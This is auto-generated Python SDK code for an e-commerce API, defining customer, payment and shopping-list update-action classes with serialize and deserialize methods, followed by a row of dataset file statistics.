address_id: typing.Optional[str]
address_key: typing.Optional[str]
address: "Address"
def __init__(
self,
*,
address_id: typing.Optional[str] = None,
address_key: typing.Optional[str] = None,
address: "Address"
):
self.address_id = address_id
self.address_key = address_key
self.address = address
super().__init__(action="changeAddress")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCustomerChangeAddressAction":
from ._schemas.me import MyCustomerChangeAddressActionSchema
return MyCustomerChangeAddressActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCustomerChangeAddressActionSchema
return MyCustomerChangeAddressActionSchema().dump(self)
class MyCustomerChangeEmailAction(MyCustomerUpdateAction):
email: str
def __init__(self, *, email: str):
self.email = email
super().__init__(action="changeEmail")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCustomerChangeEmailAction":
from ._schemas.me import MyCustomerChangeEmailActionSchema
return MyCustomerChangeEmailActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCustomerChangeEmailActionSchema
return MyCustomerChangeEmailActionSchema().dump(self)
class MyCustomerRemoveAddressAction(MyCustomerUpdateAction):
address_id: typing.Optional[str]
address_key: typing.Optional[str]
def __init__(
self,
*,
address_id: typing.Optional[str] = None,
address_key: typing.Optional[str] = None
):
self.address_id = address_id
self.address_key = address_key
super().__init__(action="removeAddress")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCustomerRemoveAddressAction":
from ._schemas.me import MyCustomerRemoveAddressActionSchema
return MyCustomerRemoveAddressActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCustomerRemoveAddressActionSchema
return MyCustomerRemoveAddressActionSchema().dump(self)
class MyCustomerRemoveBillingAddressIdAction(MyCustomerUpdateAction):
address_id: typing.Optional[str]
address_key: typing.Optional[str]
def __init__(
self,
*,
address_id: typing.Optional[str] = None,
address_key: typing.Optional[str] = None
):
self.address_id = address_id
self.address_key = address_key
super().__init__(action="removeBillingAddressId")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCustomerRemoveBillingAddressIdAction":
from ._schemas.me import MyCustomerRemoveBillingAddressIdActionSchema
return MyCustomerRemoveBillingAddressIdActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCustomerRemoveBillingAddressIdActionSchema
return MyCustomerRemoveBillingAddressIdActionSchema().dump(self)
class MyCustomerRemoveShippingAddressIdAction(MyCustomerUpdateAction):
address_id: typing.Optional[str]
address_key: typing.Optional[str]
def __init__(
self,
*,
address_id: typing.Optional[str] = None,
address_key: typing.Optional[str] = None
):
self.address_id = address_id
self.address_key = address_key
super().__init__(action="removeShippingAddressId")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCustomerRemoveShippingAddressIdAction":
from ._schemas.me import MyCustomerRemoveShippingAddressIdActionSchema
return MyCustomerRemoveShippingAddressIdActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCustomerRemoveShippingAddressIdActionSchema
return MyCustomerRemoveShippingAddressIdActionSchema().dump(self)
class MyCustomerSetCompanyNameAction(MyCustomerUpdateAction):
company_name: typing.Optional[str]
def __init__(self, *, company_name: typing.Optional[str] = None):
self.company_name = company_name
super().__init__(action="setCompanyName")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCustomerSetCompanyNameAction":
from ._schemas.me import MyCustomerSetCompanyNameActionSchema
return MyCustomerSetCompanyNameActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCustomerSetCompanyNameActionSchema
return MyCustomerSetCompanyNameActionSchema().dump(self)
class MyCustomerSetCustomFieldAction(MyCustomerUpdateAction):
name: str
value: typing.Optional[typing.Any]
def __init__(self, *, name: str, value: typing.Optional[typing.Any] = None):
self.name = name
self.value = value
super().__init__(action="setCustomField")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCustomerSetCustomFieldAction":
from ._schemas.me import MyCustomerSetCustomFieldActionSchema
return MyCustomerSetCustomFieldActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCustomerSetCustomFieldActionSchema
return MyCustomerSetCustomFieldActionSchema().dump(self)
class MyCustomerSetCustomTypeAction(MyCustomerUpdateAction):
type: typing.Optional["TypeResourceIdentifier"]
fields: typing.Optional["FieldContainer"]
def __init__(
self,
*,
type: typing.Optional["TypeResourceIdentifier"] = None,
fields: typing.Optional["FieldContainer"] = None
):
self.type = type
self.fields = fields
super().__init__(action="setCustomType")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCustomerSetCustomTypeAction":
from ._schemas.me import MyCustomerSetCustomTypeActionSchema
return MyCustomerSetCustomTypeActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCustomerSetCustomTypeActionSchema
return MyCustomerSetCustomTypeActionSchema().dump(self)
class MyCustomerSetDateOfBirthAction(MyCustomerUpdateAction):
date_of_birth: typing.Optional[datetime.date]
def __init__(self, *, date_of_birth: typing.Optional[datetime.date] = None):
self.date_of_birth = date_of_birth
super().__init__(action="setDateOfBirth")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCustomerSetDateOfBirthAction":
from ._schemas.me import MyCustomerSetDateOfBirthActionSchema
return MyCustomerSetDateOfBirthActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCustomerSetDateOfBirthActionSchema
return MyCustomerSetDateOfBirthActionSchema().dump(self)
class MyCustomerSetDefaultBillingAddressAction(MyCustomerUpdateAction):
address_id: typing.Optional[str]
address_key: typing.Optional[str]
def __init__(
self,
*,
address_id: typing.Optional[str] = None,
address_key: typing.Optional[str] = None
):
self.address_id = address_id
self.address_key = address_key
super().__init__(action="setDefaultBillingAddress")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCustomerSetDefaultBillingAddressAction":
from ._schemas.me import MyCustomerSetDefaultBillingAddressActionSchema
return MyCustomerSetDefaultBillingAddressActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCustomerSetDefaultBillingAddressActionSchema
return MyCustomerSetDefaultBillingAddressActionSchema().dump(self)
class MyCustomerSetDefaultShippingAddressAction(MyCustomerUpdateAction):
address_id: typing.Optional[str]
address_key: typing.Optional[str]
def __init__(
self,
*,
address_id: typing.Optional[str] = None,
address_key: typing.Optional[str] = None
):
self.address_id = address_id
self.address_key = address_key
super().__init__(action="setDefaultShippingAddress")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCustomerSetDefaultShippingAddressAction":
from ._schemas.me import MyCustomerSetDefaultShippingAddressActionSchema
return MyCustomerSetDefaultShippingAddressActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCustomerSetDefaultShippingAddressActionSchema
return MyCustomerSetDefaultShippingAddressActionSchema().dump(self)
class MyCustomerSetFirstNameAction(MyCustomerUpdateAction):
first_name: typing.Optional[str]
def __init__(self, *, first_name: typing.Optional[str] = None):
self.first_name = first_name
super().__init__(action="setFirstName")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCustomerSetFirstNameAction":
from ._schemas.me import MyCustomerSetFirstNameActionSchema
return MyCustomerSetFirstNameActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCustomerSetFirstNameActionSchema
return MyCustomerSetFirstNameActionSchema().dump(self)
class MyCustomerSetLastNameAction(MyCustomerUpdateAction):
last_name: typing.Optional[str]
def __init__(self, *, last_name: typing.Optional[str] = None):
self.last_name = last_name
super().__init__(action="setLastName")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCustomerSetLastNameAction":
from ._schemas.me import MyCustomerSetLastNameActionSchema
return MyCustomerSetLastNameActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCustomerSetLastNameActionSchema
return MyCustomerSetLastNameActionSchema().dump(self)
class MyCustomerSetLocaleAction(MyCustomerUpdateAction):
locale: typing.Optional[str]
def __init__(self, *, locale: typing.Optional[str] = None):
self.locale = locale
super().__init__(action="setLocale")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCustomerSetLocaleAction":
from ._schemas.me import MyCustomerSetLocaleActionSchema
return MyCustomerSetLocaleActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCustomerSetLocaleActionSchema
return MyCustomerSetLocaleActionSchema().dump(self)
class MyCustomerSetMiddleNameAction(MyCustomerUpdateAction):
middle_name: typing.Optional[str]
def __init__(self, *, middle_name: typing.Optional[str] = None):
self.middle_name = middle_name
super().__init__(action="setMiddleName")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCustomerSetMiddleNameAction":
from ._schemas.me import MyCustomerSetMiddleNameActionSchema
return MyCustomerSetMiddleNameActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCustomerSetMiddleNameActionSchema
return MyCustomerSetMiddleNameActionSchema().dump(self)
class MyCustomerSetSalutationAction(MyCustomerUpdateAction):
salutation: typing.Optional[str]
def __init__(self, *, salutation: typing.Optional[str] = None):
self.salutation = salutation
super().__init__(action="setSalutation")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCustomerSetSalutationAction":
from ._schemas.me import MyCustomerSetSalutationActionSchema
return MyCustomerSetSalutationActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCustomerSetSalutationActionSchema
return MyCustomerSetSalutationActionSchema().dump(self)
class MyCustomerSetTitleAction(MyCustomerUpdateAction):
title: typing.Optional[str]
def __init__(self, *, title: typing.Optional[str] = None):
self.title = title
super().__init__(action="setTitle")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCustomerSetTitleAction":
from ._schemas.me import MyCustomerSetTitleActionSchema
return MyCustomerSetTitleActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCustomerSetTitleActionSchema
return MyCustomerSetTitleActionSchema().dump(self)
class MyCustomerSetVatIdAction(MyCustomerUpdateAction):
vat_id: typing.Optional[str]
def __init__(self, *, vat_id: typing.Optional[str] = None):
self.vat_id = vat_id
super().__init__(action="setVatId")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyCustomerSetVatIdAction":
from ._schemas.me import MyCustomerSetVatIdActionSchema
return MyCustomerSetVatIdActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyCustomerSetVatIdActionSchema
return MyCustomerSetVatIdActionSchema().dump(self)
class MyPaymentAddTransactionAction(MyPaymentUpdateAction):
transaction: "TransactionDraft"
def __init__(self, *, transaction: "TransactionDraft"):
self.transaction = transaction
super().__init__(action="addTransaction")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyPaymentAddTransactionAction":
from ._schemas.me import MyPaymentAddTransactionActionSchema
return MyPaymentAddTransactionActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyPaymentAddTransactionActionSchema
return MyPaymentAddTransactionActionSchema().dump(self)
class MyPaymentChangeAmountPlannedAction(MyPaymentUpdateAction):
amount: "Money"
def __init__(self, *, amount: "Money"):
self.amount = amount
super().__init__(action="changeAmountPlanned")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyPaymentChangeAmountPlannedAction":
from ._schemas.me import MyPaymentChangeAmountPlannedActionSchema
return MyPaymentChangeAmountPlannedActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyPaymentChangeAmountPlannedActionSchema
return MyPaymentChangeAmountPlannedActionSchema().dump(self)
class MyPaymentSetCustomFieldAction(MyPaymentUpdateAction):
name: str
value: typing.Optional[typing.Any]
def __init__(self, *, name: str, value: typing.Optional[typing.Any] = None):
self.name = name
self.value = value
super().__init__(action="setCustomField")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyPaymentSetCustomFieldAction":
from ._schemas.me import MyPaymentSetCustomFieldActionSchema
return MyPaymentSetCustomFieldActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyPaymentSetCustomFieldActionSchema
return MyPaymentSetCustomFieldActionSchema().dump(self)
class MyPaymentSetMethodInfoInterfaceAction(MyPaymentUpdateAction):
interface: str
def __init__(self, *, interface: str):
self.interface = interface
super().__init__(action="setMethodInfoInterface")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyPaymentSetMethodInfoInterfaceAction":
from ._schemas.me import MyPaymentSetMethodInfoInterfaceActionSchema
return MyPaymentSetMethodInfoInterfaceActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyPaymentSetMethodInfoInterfaceActionSchema
return MyPaymentSetMethodInfoInterfaceActionSchema().dump(self)
class MyPaymentSetMethodInfoMethodAction(MyPaymentUpdateAction):
method: typing.Optional[str]
def __init__(self, *, method: typing.Optional[str] = None):
self.method = method
super().__init__(action="setMethodInfoMethod")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyPaymentSetMethodInfoMethodAction":
from ._schemas.me import MyPaymentSetMethodInfoMethodActionSchema
return MyPaymentSetMethodInfoMethodActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyPaymentSetMethodInfoMethodActionSchema
return MyPaymentSetMethodInfoMethodActionSchema().dump(self)
class MyPaymentSetMethodInfoNameAction(MyPaymentUpdateAction):
name: typing.Optional["LocalizedString"]
def __init__(self, *, name: typing.Optional["LocalizedString"] = None):
self.name = name
super().__init__(action="setMethodInfoName")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyPaymentSetMethodInfoNameAction":
from ._schemas.me import MyPaymentSetMethodInfoNameActionSchema
return MyPaymentSetMethodInfoNameActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyPaymentSetMethodInfoNameActionSchema
return MyPaymentSetMethodInfoNameActionSchema().dump(self)
class MyShoppingListAddLineItemAction(MyShoppingListUpdateAction):
sku: typing.Optional[str]
product_id: typing.Optional[str]
variant_id: typing.Optional[int]
quantity: typing.Optional[int]
added_at: typing.Optional[datetime.datetime]
custom: typing.Optional["CustomFieldsDraft"]
def __init__(
self,
*,
sku: typing.Optional[str] = None,
product_id: typing.Optional[str] = None,
variant_id: typing.Optional[int] = None,
quantity: typing.Optional[int] = None,
added_at: typing.Optional[datetime.datetime] = None,
custom: typing.Optional["CustomFieldsDraft"] = None
):
self.sku = sku
self.product_id = product_id
self.variant_id = variant_id
self.quantity = quantity
self.added_at = added_at
self.custom = custom
super().__init__(action="addLineItem")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyShoppingListAddLineItemAction":
from ._schemas.me import MyShoppingListAddLineItemActionSchema
return MyShoppingListAddLineItemActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyShoppingListAddLineItemActionSchema
return MyShoppingListAddLineItemActionSchema().dump(self)
class MyShoppingListAddTextLineItemAction(MyShoppingListUpdateAction):
name: "LocalizedString"
description: typing.Optional["LocalizedString"]
quantity: typing.Optional[int]
added_at: typing.Optional[datetime.datetime]
custom: typing.Optional["CustomFieldsDraft"]
def __init__(
self,
*,
name: "LocalizedString",
description: typing.Optional["LocalizedString"] = None,
quantity: typing.Optional[int] = None,
added_at: typing.Optional[datetime.datetime] = None,
custom: typing.Optional["CustomFieldsDraft"] = None
):
self.name = name
self.description = description
self.quantity = quantity
self.added_at = added_at
self.custom = custom
super().__init__(action="addTextLineItem")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyShoppingListAddTextLineItemAction":
from ._schemas.me import MyShoppingListAddTextLineItemActionSchema
return MyShoppingListAddTextLineItemActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyShoppingListAddTextLineItemActionSchema
return MyShoppingListAddTextLineItemActionSchema().dump(self)
class MyShoppingListChangeLineItemQuantityAction(MyShoppingListUpdateAction):
line_item_id: str
quantity: int
def __init__(self, *, line_item_id: str, quantity: int):
self.line_item_id = line_item_id
self.quantity = quantity
super().__init__(action="changeLineItemQuantity")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyShoppingListChangeLineItemQuantityAction":
from ._schemas.me import MyShoppingListChangeLineItemQuantityActionSchema
return MyShoppingListChangeLineItemQuantityActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyShoppingListChangeLineItemQuantityActionSchema
return MyShoppingListChangeLineItemQuantityActionSchema().dump(self)
class MyShoppingListChangeLineItemsOrderAction(MyShoppingListUpdateAction):
line_item_order: typing.List["str"]
def __init__(self, *, line_item_order: typing.List["str"]):
self.line_item_order = line_item_order
super().__init__(action="changeLineItemsOrder")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyShoppingListChangeLineItemsOrderAction":
from ._schemas.me import MyShoppingListChangeLineItemsOrderActionSchema
return MyShoppingListChangeLineItemsOrderActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyShoppingListChangeLineItemsOrderActionSchema
return MyShoppingListChangeLineItemsOrderActionSchema().dump(self)
class MyShoppingListChangeNameAction(MyShoppingListUpdateAction):
name: "LocalizedString"
def __init__(self, *, name: "LocalizedString"):
self.name = name
super().__init__(action="changeName")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyShoppingListChangeNameAction":
from ._schemas.me import MyShoppingListChangeNameActionSchema
return MyShoppingListChangeNameActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyShoppingListChangeNameActionSchema
return MyShoppingListChangeNameActionSchema().dump(self)
class MyShoppingListChangeTextLineItemNameAction(MyShoppingListUpdateAction):
text_line_item_id: str
name: "LocalizedString"
def __init__(self, *, text_line_item_id: str, name: "LocalizedString"):
self.text_line_item_id = text_line_item_id
self.name = name
super().__init__(action="changeTextLineItemName")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyShoppingListChangeTextLineItemNameAction":
from ._schemas.me import MyShoppingListChangeTextLineItemNameActionSchema
return MyShoppingListChangeTextLineItemNameActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyShoppingListChangeTextLineItemNameActionSchema
return MyShoppingListChangeTextLineItemNameActionSchema().dump(self)
class MyShoppingListChangeTextLineItemQuantityAction(MyShoppingListUpdateAction):
text_line_item_id: str
quantity: int
def __init__(self, *, text_line_item_id: str, quantity: int):
self.text_line_item_id = text_line_item_id
self.quantity = quantity
super().__init__(action="changeTextLineItemQuantity")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyShoppingListChangeTextLineItemQuantityAction":
from ._schemas.me import MyShoppingListChangeTextLineItemQuantityActionSchema
return MyShoppingListChangeTextLineItemQuantityActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyShoppingListChangeTextLineItemQuantityActionSchema
return MyShoppingListChangeTextLineItemQuantityActionSchema().dump(self)
class MyShoppingListChangeTextLineItemsOrderAction(MyShoppingListUpdateAction):
text_line_item_order: typing.List["str"]
def __init__(self, *, text_line_item_order: typing.List["str"]):
self.text_line_item_order = text_line_item_order
super().__init__(action="changeTextLineItemsOrder")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyShoppingListChangeTextLineItemsOrderAction":
from ._schemas.me import MyShoppingListChangeTextLineItemsOrderActionSchema
return MyShoppingListChangeTextLineItemsOrderActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyShoppingListChangeTextLineItemsOrderActionSchema
return MyShoppingListChangeTextLineItemsOrderActionSchema().dump(self)
class MyShoppingListRemoveLineItemAction(MyShoppingListUpdateAction):
line_item_id: str
quantity: typing.Optional[int]
def __init__(self, *, line_item_id: str, quantity: typing.Optional[int] = None):
self.line_item_id = line_item_id
self.quantity = quantity
super().__init__(action="removeLineItem")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyShoppingListRemoveLineItemAction":
from ._schemas.me import MyShoppingListRemoveLineItemActionSchema
return MyShoppingListRemoveLineItemActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyShoppingListRemoveLineItemActionSchema
return MyShoppingListRemoveLineItemActionSchema().dump(self)
class MyShoppingListRemoveTextLineItemAction(MyShoppingListUpdateAction):
text_line_item_id: str
quantity: typing.Optional[int]
def __init__(
self, *, text_line_item_id: str, quantity: typing.Optional[int] = None
):
self.text_line_item_id = text_line_item_id
self.quantity = quantity
super().__init__(action="removeTextLineItem")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyShoppingListRemoveTextLineItemAction":
from ._schemas.me import MyShoppingListRemoveTextLineItemActionSchema
return MyShoppingListRemoveTextLineItemActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyShoppingListRemoveTextLineItemActionSchema
return MyShoppingListRemoveTextLineItemActionSchema().dump(self)
class MyShoppingListSetCustomFieldAction(MyShoppingListUpdateAction):
name: str
value: typing.Optional[typing.Any]
def __init__(self, *, name: str, value: typing.Optional[typing.Any] = None):
self.name = name
self.value = value
super().__init__(action="setCustomField")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyShoppingListSetCustomFieldAction":
from ._schemas.me import MyShoppingListSetCustomFieldActionSchema
return MyShoppingListSetCustomFieldActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyShoppingListSetCustomFieldActionSchema
return MyShoppingListSetCustomFieldActionSchema().dump(self)
class MyShoppingListSetCustomTypeAction(MyShoppingListUpdateAction):
type: typing.Optional["TypeResourceIdentifier"]
fields: typing.Optional["FieldContainer"]
def __init__(
self,
*,
type: typing.Optional["TypeResourceIdentifier"] = None,
fields: typing.Optional["FieldContainer"] = None
):
self.type = type
self.fields = fields
super().__init__(action="setCustomType")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyShoppingListSetCustomTypeAction":
from ._schemas.me import MyShoppingListSetCustomTypeActionSchema
return MyShoppingListSetCustomTypeActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyShoppingListSetCustomTypeActionSchema
return MyShoppingListSetCustomTypeActionSchema().dump(self)
class MyShoppingListSetDeleteDaysAfterLastModificationAction(
MyShoppingListUpdateAction
):
delete_days_after_last_modification: typing.Optional[int]
def __init__(
self, *, delete_days_after_last_modification: typing.Optional[int] = None
):
self.delete_days_after_last_modification = delete_days_after_last_modification
super().__init__(action="setDeleteDaysAfterLastModification")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyShoppingListSetDeleteDaysAfterLastModificationAction":
from ._schemas.me import (
MyShoppingListSetDeleteDaysAfterLastModificationActionSchema,
)
return MyShoppingListSetDeleteDaysAfterLastModificationActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import (
MyShoppingListSetDeleteDaysAfterLastModificationActionSchema,
)
return MyShoppingListSetDeleteDaysAfterLastModificationActionSchema().dump(self)
class MyShoppingListSetDescriptionAction(MyShoppingListUpdateAction):
description: typing.Optional["LocalizedString"]
def __init__(self, *, description: typing.Optional["LocalizedString"] = None):
self.description = description
super().__init__(action="setDescription")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyShoppingListSetDescriptionAction":
from ._schemas.me import MyShoppingListSetDescriptionActionSchema
return MyShoppingListSetDescriptionActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyShoppingListSetDescriptionActionSchema
return MyShoppingListSetDescriptionActionSchema().dump(self)
class MyShoppingListSetLineItemCustomFieldAction(MyShoppingListUpdateAction):
line_item_id: str
name: str
value: typing.Optional[typing.Any]
def __init__(
self, *, line_item_id: str, name: str, value: typing.Optional[typing.Any] = None
):
self.line_item_id = line_item_id
self.name = name
self.value = value
super().__init__(action="setLineItemCustomField")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyShoppingListSetLineItemCustomFieldAction":
from ._schemas.me import MyShoppingListSetLineItemCustomFieldActionSchema
return MyShoppingListSetLineItemCustomFieldActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyShoppingListSetLineItemCustomFieldActionSchema
return MyShoppingListSetLineItemCustomFieldActionSchema().dump(self)
class MyShoppingListSetLineItemCustomTypeAction(MyShoppingListUpdateAction):
line_item_id: str
type: typing.Optional["TypeResourceIdentifier"]
fields: typing.Optional["FieldContainer"]
def __init__(
self,
*,
line_item_id: str,
type: typing.Optional["TypeResourceIdentifier"] = None,
fields: typing.Optional["FieldContainer"] = None
):
self.line_item_id = line_item_id
self.type = type
self.fields = fields
super().__init__(action="setLineItemCustomType")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyShoppingListSetLineItemCustomTypeAction":
from ._schemas.me import MyShoppingListSetLineItemCustomTypeActionSchema
return MyShoppingListSetLineItemCustomTypeActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyShoppingListSetLineItemCustomTypeActionSchema
return MyShoppingListSetLineItemCustomTypeActionSchema().dump(self)
class MyShoppingListSetTextLineItemCustomFieldAction(MyShoppingListUpdateAction):
text_line_item_id: str
name: str
value: typing.Optional[typing.Any]
def __init__(
self,
*,
text_line_item_id: str,
name: str,
value: typing.Optional[typing.Any] = None
):
self.text_line_item_id = text_line_item_id
self.name = name
self.value = value
super().__init__(action="setTextLineItemCustomField")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyShoppingListSetTextLineItemCustomFieldAction":
from ._schemas.me import MyShoppingListSetTextLineItemCustomFieldActionSchema
return MyShoppingListSetTextLineItemCustomFieldActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyShoppingListSetTextLineItemCustomFieldActionSchema
return MyShoppingListSetTextLineItemCustomFieldActionSchema().dump(self)
class MyShoppingListSetTextLineItemCustomTypeAction(MyShoppingListUpdateAction):
text_line_item_id: str
type: typing.Optional["TypeResourceIdentifier"]
fields: typing.Optional["FieldContainer"]
def __init__(
self,
*,
text_line_item_id: str,
type: typing.Optional["TypeResourceIdentifier"] = None,
fields: typing.Optional["FieldContainer"] = None
):
self.text_line_item_id = text_line_item_id
self.type = type
self.fields = fields
super().__init__(action="setTextLineItemCustomType")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyShoppingListSetTextLineItemCustomTypeAction":
from ._schemas.me import MyShoppingListSetTextLineItemCustomTypeActionSchema
return MyShoppingListSetTextLineItemCustomTypeActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyShoppingListSetTextLineItemCustomTypeActionSchema
return MyShoppingListSetTextLineItemCustomTypeActionSchema().dump(self)
class MyShoppingListSetTextLineItemDescriptionAction(MyShoppingListUpdateAction):
text_line_item_id: str
description: typing.Optional["LocalizedString"]
def __init__(
self,
*,
text_line_item_id: str,
description: typing.Optional["LocalizedString"] = None
):
self.text_line_item_id = text_line_item_id
self.description = description
super().__init__(action="setTextLineItemDescription")
@classmethod
def deserialize(
cls, data: typing.Dict[str, typing.Any]
) -> "MyShoppingListSetTextLineItemDescriptionAction":
from ._schemas.me import MyShoppingListSetTextLineItemDescriptionActionSchema
return MyShoppingListSetTextLineItemDescriptionActionSchema().load(data)
def serialize(self) -> typing.Dict[str, typing.Any]:
from ._schemas.me import MyShoppingListSetTextLineItemDescriptionActionSchema
return MyShoppingListSetTextLineItemDescriptionActionSchema().dump(self)
| 36.717767 | 142 | 0.707911 | 10,393 | 119,039 | 7.907245 | 0.054364 | 0.070869 | 0.039864 | 0.058262 | 0.785958 | 0.75174 | 0.713775 | 0.588075 | 0.567072 | 0.380044 | 0 | 0.000506 | 0.202539 | 119,039 | 3,241 | 143 | 36.729096 | 0.865194 | 0.024824 | 0 | 0.679451 | 1 | 0 | 0.111449 | 0.068531 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111425 | false | 0.002422 | 0.111021 | 0 | 0.486879 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
ce3b2ae2bd0c065da54078595e2a302d6cf2365e | 76 | py | Python | tests/unit/fixtures/mock_hooks.py | troyready/runway | 4fd299961a4b73df39e14f4f19a7236f7be17dd8 | [
"Apache-2.0"
